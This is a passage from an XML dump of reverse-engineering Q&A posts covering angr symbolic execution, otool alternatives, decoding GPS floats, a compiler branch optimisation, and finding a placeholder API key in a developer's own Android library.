main():&#xA;    p = angr.Project('angr_test')&#xA;    arg = claripy.BVS('arg', 4*8)&#xA;&#xA;    st = p.factory.entry_state(args=[p.filename, arg])&#xA;    sm = p.factory.simulation_manager(st)&#xA;&#xA;    sm.explore(find=lambda _s: bv_to_int(_s.regs.rip) &amp;gt;= 0x400708 and bv_to_int(_s.regs.al) == 1)&#xA;&#xA;    print(sm.found[0].solver.eval(arg, cast_to=bytes))&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is currently throwing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;angr_test.py&quot;, line 19, in &amp;lt;module&amp;gt;&#xA;    main()&#xA;  File &quot;angr_test.py&quot;, line 14, in main&#xA;    sm.explore(find=lambda _s: bv_to_int(_s.regs.rip) &amp;gt;= 0x400708 and bv_to_int(_s.regs.al) == 1)&#xA;  File &quot;/home/ben/.local/lib/python3.6/site-packages/angr/sim_manager.py&quot;, line 237, in explore&#xA;    self.run(stash=stash, n=n, **kwargs)&#xA;  File &quot;/home/ben/.local/lib/python3.6/site-packages/angr/sim_manager.py&quot;, line 259, in run&#xA;    self.step(stash=stash, **kwargs)&#xA;  File &quot;/home/ben/.local/lib/python3.6/site-packages/angr/misc/hookset.py&quot;, line 75, in __call__&#xA;    result = current_hook(self.func.__self__, *args, **kwargs)&#xA;  File &quot;/home/ben/.local/lib/python3.6/site-packages/angr/exploration_techniques/explorer.py&quot;, line 96, in step&#xA;    return simgr.step(stash=stash, extra_stop_points=base_extra_stop_points | self._extra_stop_points, **kwargs)&#xA;  File &quot;/home/ben/.local/lib/python3.6/site-packages/angr/misc/hookset.py&quot;, line 80, in __call__&#xA;    return self.func(*args, **kwargs)&#xA;  File &quot;/home/ben/.local/lib/python3.6/site-packages/angr/sim_manager.py&quot;, line 330, in step&#xA;    goto = self.filter(state, filter_func=filter_func)&#xA;  File &quot;/home/ben/.local/lib/python3.6/site-packages/angr/misc/hookset.py&quot;, line 75, in __call__&#xA;    result = current_hook(self.func.__self__, *args, **kwargs)&#xA;  File &quot;/home/ben/.local/lib/python3.6/site-packages/angr/exploration_techniques/explorer.py&quot;, line 113, in filter&#xA;    stash = self._filter_inner(state)&#xA;  File &quot;/home/ben/.local/lib/python3.6/site-packages/angr/exploration_techniques/explorer.py&quot;, line 124, in _filter_inner&#xA;    findable = self.find(state)&#xA;  File &quot;angr_test.py&quot;, line 14, in &amp;lt;lambda&amp;gt;&#xA;    sm.explore(find=lambda _s: bv_to_int(_s.regs.rip) &amp;gt;= 0x400708 and bv_to_int(_s.regs.al) == 1)&#xA;  File &quot;angr_test.py&quot;, line 5, in bv_to_int&#xA;    return claripy.backends.concrete.convert(bv).value&#xA;  File &quot;/home/ben/.local/lib/python3.6/site-packages/claripy/backends/__init__.py&quot;, line 160, in convert&#xA;    &quot;conversion on a child node&quot; % (self, ast.op, ast.__class__.__name__))&#xA;claripy.errors.BackendError: &amp;lt;claripy.backends.backend_concrete.BackendConcrete object at 0x7f47a92c05f8&amp;gt; can't handle operation Extract (BV) due to a failed conversion on a child node&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastEditorUserId="3298" LastEditDate="2019-02-07T14:04:39.197" LastActivityDate="2019-02-08T12:59:41.683" Title="Angr - Solve for function return value" Tags="|angr|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20571" PostTypeId="2" ParentId="20570" CreationDate="2019-02-07T11:56:47.743" Score="2" Body="&lt;p&gt;Right from the &lt;a href=&quot;http://angr.io/api-doc/angr.html#module-angr.sim_manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; explore(stash='active', n=None, find=None, avoid=None,&#xA;&amp;gt; find_stash='found', avoid_stash='avoid', cfg=None, num_find=1, **kwargs)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The “find” and “avoid” parameters may be any of:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;An address to find A set or list of addresses to find A function that&#xA;  takes a state and returns whether or not it matches.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically, you will have to implement a function accepting a state to decide whether you are in the desired state. You can also just implement a function for the failed state if you'd like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe something easy can help you, such as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;find=lambda x: x.regs.eax == 1 &amp;amp;&amp;amp; x.regs.rip &amp;gt;= 0x708&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2019-02-07T11:56:47.743" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20572" PostTypeId="1" CreationDate="2019-02-07T12:07:58.697" Score="8" ViewCount="13877" Body="&lt;p&gt;I have a reverse engineering set up on a Mac machine. This set up does some reverse engineering on iOS applications(.ipa files). I'm migrating the setup from Mac to a linux machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently on Mac, I'm using OTOOL on ipa binary files and using the following commands:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;otool -L /iOS/binary/path&lt;/li&gt;&#xA;&lt;li&gt;otool -lv /iOS/binary/path&lt;/li&gt;&#xA;&lt;li&gt;otool -hv /iOS/binary/path&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, I've to do the same operation, i.e reverse engineer the iOS applications, but now on the linux machine. AFAIK, OTOOL is not available for linux machine. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I've come across JTOOL which I think is most relevant till now. I can                 use it on linux, and it does something similar to OTOOL, but not exactly same. E.g. while using the -L command on JTOOL, I also need to specify architecture. However, OTOOL gives the shared libraries for all the available architectures.&lt;/li&gt;&#xA;&lt;li&gt;I tried ldd, but I'm getting the error - &quot;not a dynamic executable&quot;.&lt;/li&gt;&#xA;&lt;li&gt;I tried objdump, but it asks for the object file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm not sure which tool can I use. I to figure out the alternate tool which can do same as OTOOL. Or, if not same, then what changes do i need to make to use the alternate tool. &lt;/p&gt;&#xA;" OwnerUserId="20651" LastEditorUserId="20651" LastEditDate="2019-02-12T07:01:34.973" LastActivityDate="2023-03-20T16:56:46.103" Title="OTOOL alternative for linux" Tags="|linux|binary|ios|libraries|macos|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20573" PostTypeId="1" CreationDate="2019-02-07T14:49:05.033" Score="1" ViewCount="6409" Body="&lt;p&gt;I have been trying to decode GPS coordinates (latitude and longitude) which is in HEX format, and the documentation doesn't have a clear explanation, please help me out. I'm adding some examples below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;latitude    0x414F51 = +28.758963 dd(decimal degree)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;longitude   0x45429B = +077.627784dd(decimal degree)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Cjq0H.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;screenshot of the documentation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/1LyrjN76F-_us1IhmssmuZg-9ufj-GmUV/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;official documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27377" LastActivityDate="2019-02-08T07:47:39.800" Title="How to convert hex data to decimal degree latitude and longitude?" Tags="|gps|" AnswerCount="1" CommentCount="0" ClosedDate="2019-02-11T04:24:53.027" ContentLicense="CC BY-SA 4.0" />
  <row Id="20575" PostTypeId="2" ParentId="20573" CreationDate="2019-02-07T18:59:03.437" Score="1" Body="&lt;p&gt;your screenshot probably contains example data and not real values &lt;/p&gt;&#xA;&#xA;&lt;p&gt;first of all both longitude and latitude are 4 bytes as per your documentation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and there is an example of normal packet in your documentation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;based on that packets data lat and long are as follows  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4E    41 4F 51 53  N   AOQS   &#xA;&#xA;45    42 9B 7D 5C  E   B›}\  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;these are normal &lt;a href=&quot;https://en.wikipedia.org/wiki/IEEE_754&quot; rel=&quot;nofollow noreferrer&quot;&gt;IEEE float&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -s 94  -l 1 foo.bin&#xA;000005e: 4e                                       N&#xA;&#xA;:\&amp;gt;xxd -s 95  -l 4 foo.bin&#xA;000005f: 414f 5153                                AOQS&#xA;&#xA;:\&amp;gt;xxd -s 99  -l 1 foo.bin&#xA;0000063: 45                                       E&#xA;&#xA;:\&amp;gt;xxd -s 100  -l 4 foo.bin&#xA;0000064: 429b 7d5c                                B.}\&#xA;&#xA;:\&amp;gt;cdb -c &quot;.formats 414f5153;q&quot; cdb | grep -i float&#xA;  Float:   low 12.9574 high 0&#xA;&#xA;:\&amp;gt;cdb -c &quot;.formats 429b7d5c;q&quot; cdb | grep -i float&#xA;  Float:   low 77.7448 high 0&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;reverse geocoding this location is as shown in screen shot  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QDBeG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QDBeG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-02-08T07:47:39.800" LastActivityDate="2019-02-08T07:47:39.800" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20576" PostTypeId="1" CreationDate="2019-02-07T22:17:30.387" Score="4" ViewCount="267" Body="&lt;p&gt;I have a Schwinn 420 Elliptical Trainer (2012 model), and I want to reverse engineer it. Right now it has a big honking console that lets you increase/decrease the resistance and start a small handful of preprogrammed workout routines. The trouble is that the workout routines are very limited, and the console is bulky and annoying. I'd like to replace it with a flat board that I can rest my laptop on (not possible with it present) so I can do work while I run. I'd also like to replace the console's onboard computer with something like a Raspberry Pi to control the resistance levels. That way the sky's the limit in terms of programming custom workout routines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took a look at the wiring to the console, and there is a twelve-pin cable, pictured below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MezeP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MezeP.jpg&quot; alt=&quot;cable&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XzFsv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XzFsv.jpg&quot; alt=&quot;socket&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the &lt;a href=&quot;https://www.schwinnfitness.com/manuals.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Schwinn website for service manuals&lt;/a&gt;; unfortunately they don't have a service manual for my particular model, plus the service manuals they do offer say nothing about the wiring (the only thing they do say is &lt;em&gt;&quot;All wires in cable should be intact. If any are visibly crimped or cut, replace cable.&quot;&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't imagine that this is a terribly complex circuit. I believe there's only three things this cable can truly be doing:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Supplying power to the console&lt;/li&gt;&#xA;&lt;li&gt;Increasing/decreasing resistance on command&lt;/li&gt;&#xA;&lt;li&gt;Receiving a signal as to whether the user is running, or not&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All the other functions, like showing a countdown clock, going through different workout routines, etc. would all be happening on the console and are therefore irrelevant (i.e. they can be replaced with a Pi). Because regardless of how complex a given workout routine is, at the end of the day, all it's doing is telling the machine to increase or decrease resistance. I noticed that it does automatically pause the workout when you stop moving, so it also must be getting some kind of signal to indicate whether the pedals are moving. I'm quite confident I can program a Pi to send the right signals on GPIO pins, if I know which ones to send.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But while I have a pretty extensive knowledge of software engineering, I have next to zero knowledge of electrical engineering. So I'm not really sure where to start. I imagine I'll need to essentially &quot;tap&quot; the wires (while they're still in use by the console) with something like a multimeter or oscilloscope. But I don't really know how to do that. For example, a multimeter has both a black and red cable. So if I want to test just one of the 12 wires, do I hold the black to it? Then where would the red go?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone here recommend any tips on how I can close my own knowledge gap here and start to figure out how to reverse engineer these 12 wires in my elliptical machine? Or better yet, has anyone here already done something like this, with exercise equipment?&lt;/p&gt;&#xA;" OwnerUserId="27381" LastActivityDate="2019-02-07T22:17:30.387" Title="How to reverse engineer an elliptical trainer?" Tags="|hardware|" AnswerCount="0" CommentCount="0" ClosedDate="2019-02-11T04:25:08.100" ContentLicense="CC BY-SA 4.0" />
  <row Id="20577" PostTypeId="2" ParentId="20570" CreationDate="2019-02-08T12:59:41.683" Score="4" Body="&lt;p&gt;Ok, I've figured it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, the &lt;code&gt;run&lt;/code&gt; command should be used. This will run for all paths. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the run the value of &lt;code&gt;eax&lt;/code&gt; will actually contain two possible values (one for &lt;code&gt;eax == 0&lt;/code&gt;, and another for &lt;code&gt;eax == 1&lt;/code&gt;. The solver needs to be told to solve &lt;code&gt;arg&lt;/code&gt; where &lt;code&gt;eax == 1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script will give the correct output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;import claripy&#xA;&#xA;def main():&#xA;    p = angr.Project('angr_test')&#xA;    arg = claripy.BVS('arg', 3*8)&#xA;&#xA;    st = p.factory.entry_state(args=[p.filename, arg])&#xA;    sm = p.factory.simulation_manager(st)&#xA;&#xA;    sm.run()&#xA;&#xA;    sm.deadended[0].solver.add(sm.deadended[0].regs.eax == 1)&#xA;&#xA;    print(sm.deadended[0].solver.eval(arg, cast_to=bytes))&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2019-02-08T12:59:41.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20580" PostTypeId="2" ParentId="20568" CreationDate="2019-02-09T13:26:45.320" Score="4" Body="&lt;p&gt;It does look like a size optimization employed in some microcontrollers, although I haven't seen it used around subroutine calls. In particular, CodeWarrior compiler for HC08 and HC12 used it to optimize short branches.&lt;/p&gt;&#xA;&lt;p&gt;From Freescale/NXP's &lt;em&gt;S12(X) Build Tools Reference Manual&lt;/em&gt; (section &lt;em&gt;HC(S)12 Backend Optimizations&lt;/em&gt;):&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Short BRA Optimization (-OnB=a to disable it)&lt;/h1&gt;&#xA;&lt;p&gt;A branch over one byte is replaced with the opcode of &lt;code&gt;BRN&lt;/code&gt;. A branch over two bytes is&#xA;replaced with the opcode of &lt;code&gt;CPS&lt;/code&gt;&#xA;Listing 10.19 Short BRA optimization example&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int q(void) {&#xA;if (f()) {&#xA;    return 1;&#xA;  } else {&#xA;    return 0;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The code produced with this optimization:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0000 160000 JSR f&#xA;0003 044403 TBEQ D,3 ;abs = 0009&#xA;0006 C601 LDAB #1&#xA;0008 21C7 BRN -57 ;abs = FFD1&#xA;000A 87 CLRA&#xA;000B 3D RTS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With the &lt;code&gt;-OnB=a&lt;/code&gt; (disable short BRA optimization) option the Compiler produces one&#xA;more byte:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0000 160000 JSR f&#xA;0003 044404 TBEQ D,4 ;abs = 000A&#xA;0006 C601 LDAB #1&#xA;0008 2001 BRA 1 ;abs = 000B&#xA;000A C7 CLRB&#xA;000B 87 CLRA&#xA;000C 3D RTS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The branch optimizer replaces the BRA 1 in the second example with the opcode of&#xA;“BRN”, 0x21. Then the Decoder joins the BRN with the CLRB to one BRN. Actually the&#xA;Decoder writes something like the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0008 21 “BRA 1”&#xA;000A C7 CLRB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;CLRB&lt;/code&gt; out of the second code disappears in the first listing into the offset of the&#xA;&lt;code&gt;BRN&lt;/code&gt; instruction. The same type of optimization is also done with a &lt;code&gt;BRA 2&lt;/code&gt;. Then the opcode of a &lt;code&gt;CPS #&lt;/code&gt; is taken.&#xA;NOTE &lt;code&gt;BRN&lt;/code&gt; and &lt;code&gt;CPS&lt;/code&gt; in a Decoder listing are often the result of this optimization. If&#xA;so, one or two additional machine instructions are hidden after the opcode. The&#xA;compiler writes this as &lt;code&gt;SKIP1&lt;/code&gt; or &lt;code&gt;SKIP2&lt;/code&gt; pseudo opcode to the listing file.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I haven't found mentions of such optimization used for ColdFire and since you mention that the code does not look optimized it's probably not what is happening here. One theory I have is that the overlapping instructions sequence comes from the compiler's standard library and not developer's code so it has been optimized for size or even written manually in assembly.&lt;/p&gt;&#xA;&lt;p&gt;Yet another option is that you're looking at data being disassembled which may produce all kinds of weird effects. For example, it could be jump tables embedded in code.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; yeah, the stuff at 000120c0  does look like some kind of table. For example, when converted to an array of words, it becomes:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CODE:000120C0  dc.w $7200, $1200, $203C, 0, $FF, $B280, $6600, $192, $4EB9&#xA;CODE:000120C0  dc.w 0, $549E, $7200, $1200, $203C, 0, $FF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So it's probably not code at all. I suspect it could be the table of initial tasks or similar.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-02-10T15:17:42.853" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="20581" PostTypeId="2" ParentId="12599" CreationDate="2019-02-09T14:51:09.387" Score="1" Body="&lt;p&gt;I am probably late for this, but for future visitors:&#xA;the parameters to sub_457048 are passed in eax and edx. The call to _grSstScreenHeight is returned in eax and then saved in ebx, and finally moved in edx.&#xA;The call to _grSstScreenWidth is returned in eax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so sub_457048 will be eax (width) and edx (height) which is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The intermediate step to store the value in ebx, is because it's not known to the caller if _grSstScreenWidth will overwrite edx (as it is allowed to, according to the STDCALL calling convention &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#stdcall&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/X86_calling_conventions#stdcall&lt;/a&gt;). On the other hand, _grSstScreenWidth has to preserve ebx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're right however, IDA did not seem to see that the value returned by _grSstScreenWidth was to be stored in v4&lt;/p&gt;&#xA;" OwnerUserId="27401" LastActivityDate="2019-02-09T14:51:09.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20583" PostTypeId="1" CreationDate="2019-02-09T23:23:10.220" Score="4" ViewCount="3483" Body="&lt;h1&gt;Context&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As an exercise I am researching all methods of hiding a secret in an android mobile app binary... Yes I know that with more or less effort they can always be extracted with static analyses, run time introspection or with a MITM attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my research to hide the secret, the best way I found for Android is by using JNI/NDK and until now I was not able to find a way of reverse engineer it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: I understand the high level concept of reverse engineer but I don't have any experience of doing it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h1&gt;My Attempts&lt;/h1&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings -aw lib/x86/libnative-lib.so | grep -C 1 -irn 'the-secret-api-key-goes-here' -&#xA;932-[^_]&#xA;933:the-secret-api-key-goes-here&#xA;934-cannot allocate __cxa_eh_globals&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I find the API key in the binary because I know it, but I would like to be able to find it by searching by the variable it is associated with:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings -aw lib/x86/libnative-lib.so | grep -C 1 -irn 'JNI_API_KEY' -&#xA;$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings -aw lib/x86/libnative-lib.so | grep -C 1 -irn 'SECRETS_API_KEY' -&#xA;$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both doesn't return any result... I tried to use also &lt;code&gt;hexdump&lt;/code&gt; and &lt;code&gt;objdump&lt;/code&gt; without any success!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried also &lt;code&gt;radare2&lt;/code&gt; and &lt;code&gt;retdec&lt;/code&gt; but my lack of knowledge may have not helped me in finding the API keys to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a last attempt I have de-compiled the binary with &lt;a href=&quot;https://github.com/MobSF/Mobile-Security-Framework-MobSF&quot; rel=&quot;nofollow noreferrer&quot;&gt;MobSF&lt;/a&gt; and searched the smali code for the &lt;code&gt;JNI_API_KEY&lt;/code&gt;, &lt;code&gt;SECRETS_API_KEY&lt;/code&gt; and &lt;code&gt;the-secret-api-key-goes-here&lt;/code&gt; without any success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I don't want to resort to Frida or xPosed for a run-time reverse engineer technique or a MITM attack approach... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for now I just want to know if I can employ other binary or de-compile techniques to find the API key?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: Looking for open source tools, not commercial ones.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h1&gt;The Code&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The code that I have used to hide the API key with JNI and NDK in the Android app is the following...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;file: native-lib.cpp&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;jni.h&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;#include &quot;api_key.h&quot;&#xA;&#xA;extern &quot;C&quot; JNIEXPORT jstring JNICALL&#xA;Java_com_example_secrets_MainActivity_stringFromJNI(&#xA;        JNIEnv *env,&#xA;        jobject /* this */) {&#xA;&#xA;    // To add the API_KEY to the mobile app when is compiled you need to:&#xA;    //   * copy `api_key.h.example` to `api_key.h`&#xA;    //   * edit the file and replace this text `place-the-api-key-here` with your desired API_KEY&#xA;    std::string JNI_API_KEY = SECRETS_API_KEY;&#xA;&#xA;    return env-&amp;gt;NewStringUTF(JNI_API_KEY.c_str());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;file: api_key.h&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#ifndef SECRETS_API_KEY&#xA;#define SECRETS_API_KEY &quot;the-secret-api-key-goes-here&quot;&#xA;&#xA;#endif / SECRETS_API_KEY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;file: CMakeLists.txt&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# For more information about using CMake with Android Studio, read the&#xA;# documentation: https://d.android.com/studio/projects/add-native-code.html&#xA;&#xA;# Sets the minimum version of CMake required to build the native library.&#xA;&#xA;cmake_minimum_required(VERSION 3.4.1)&#xA;&#xA;# Creates and names a library, sets it as either STATIC&#xA;# orJNI_API_KEY SHARED, and provides the relative paths to its source code.&#xA;# You can define multiple libraries, and CMake builds them for you.&#xA;# Gradle automatically packages shared libraries with your APK.&#xA;&#xA;add_library( # Sets the name of the library.&#xA;        native-lib&#xA;&#xA;        # Sets the library as a shared library.&#xA;        SHARED&#xA;&#xA;        # Provides a relative path to your source file(s).&#xA;        native-lib.cpp)&#xA;&#xA;# Searches for a specified prebuilt library and stores the path as a&#xA;# variable. Because CMake includes system libraries in the search path by&#xA;# default, you only need to specify the name of the public NDK library&#xA;# you want to add. CMake verifies that the library exists before&#xA;# completing its build.&#xA;&#xA;find_library( # Sets the name of the path variable.&#xA;        log-lib&#xA;&#xA;        # Specifies the name of the NDK library that&#xA;        # you want CMake to locate.&#xA;        log)&#xA;&#xA;# Specifies libraries CMake should link to your target library. You&#xA;# can link multiple libraries, such as libraries you define in this&#xA;# build script, prebuilt third-party libraries, or system libraries.&#xA;&#xA;target_link_libraries( # Specifies the target library.&#xA;        native-lib&#xA;&#xA;        # Links the target library to the log library&#xA;        # included in the NDK.&#xA;        ${log-lib})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27405" LastActivityDate="2019-02-10T08:21:14.897" Title="Extract a secret from an Android apk or .so file" Tags="|disassembly|binary-analysis|android|binary|apk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20585" PostTypeId="2" ParentId="20583" CreationDate="2019-02-10T08:21:14.897" Score="3" Body="&lt;p&gt;If the API key is a string then just running &lt;code&gt;strings&lt;/code&gt; would reveal it w/o &lt;code&gt;grep&lt;/code&gt; as you do in your example. There might be some other strings but longer ones seems to stand out so it should be clearly visible that this is something meaningful. Having that API key I would probably go and use regular disassembler tools to see where and how it is used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't search by variable names as those are not preserved in the binary (.so), with APK it might be a bit different. &lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2019-02-10T08:21:14.897" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20586" PostTypeId="2" ParentId="18493" CreationDate="2019-02-10T17:39:56.767" Score="0" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #!usr/bin/python&#xA;    for i in Functions():&#xA;        print &quot;function start = &quot; + hex(GetFunctionAttr(i, FUNCATTR_START))&#xA;        print &quot;function end = &quot; + hex(GetFunctionAttr(i, FUNCATTR_END)) &#xA;        GetManyBytes(GetFunctionAttr(i, FUNCATTR_START), GetFunctionAttr(i, FUNCATTR_END) - GetFunctionAttr(i, FUNCATTR_START), 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have found this python script some time ago somewhere on the net. I will find all functions for you. Verify it!&lt;/p&gt;&#xA;" OwnerUserId="27414" LastActivityDate="2019-02-10T17:39:56.767" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20587" PostTypeId="1" CreationDate="2019-02-10T18:27:59.800" Score="3" ViewCount="1704" Body="&lt;p&gt;I'm reversing a program that &quot;hides&quot; some instructions using the jump in the middle trick. This trick is a jump to a middle of an instruction, whereas the real address actually contains another opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; CS:0100 E421           IN     AL,21&#xA; CS:0102 B0FF           MOV    AL,FF&#xA; CS:0104 EB02           JMP    0108&#xA; CS:0106 C606E62100     MOV    Byte Ptr [21E6],00&#xA; CS:010B CD20           INT    20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I have some questions related to this: Can this trick hide imports? hide x references to functions or strings? Are there any way to fix it? (other than stepping through  the code)&#xA;Edit: I'm using x32dbg&lt;/p&gt;&#xA;" OwnerUserId="27415" LastEditorUserId="27415" LastEditDate="2019-02-10T19:13:15.653" LastActivityDate="2019-02-11T13:38:09.903" 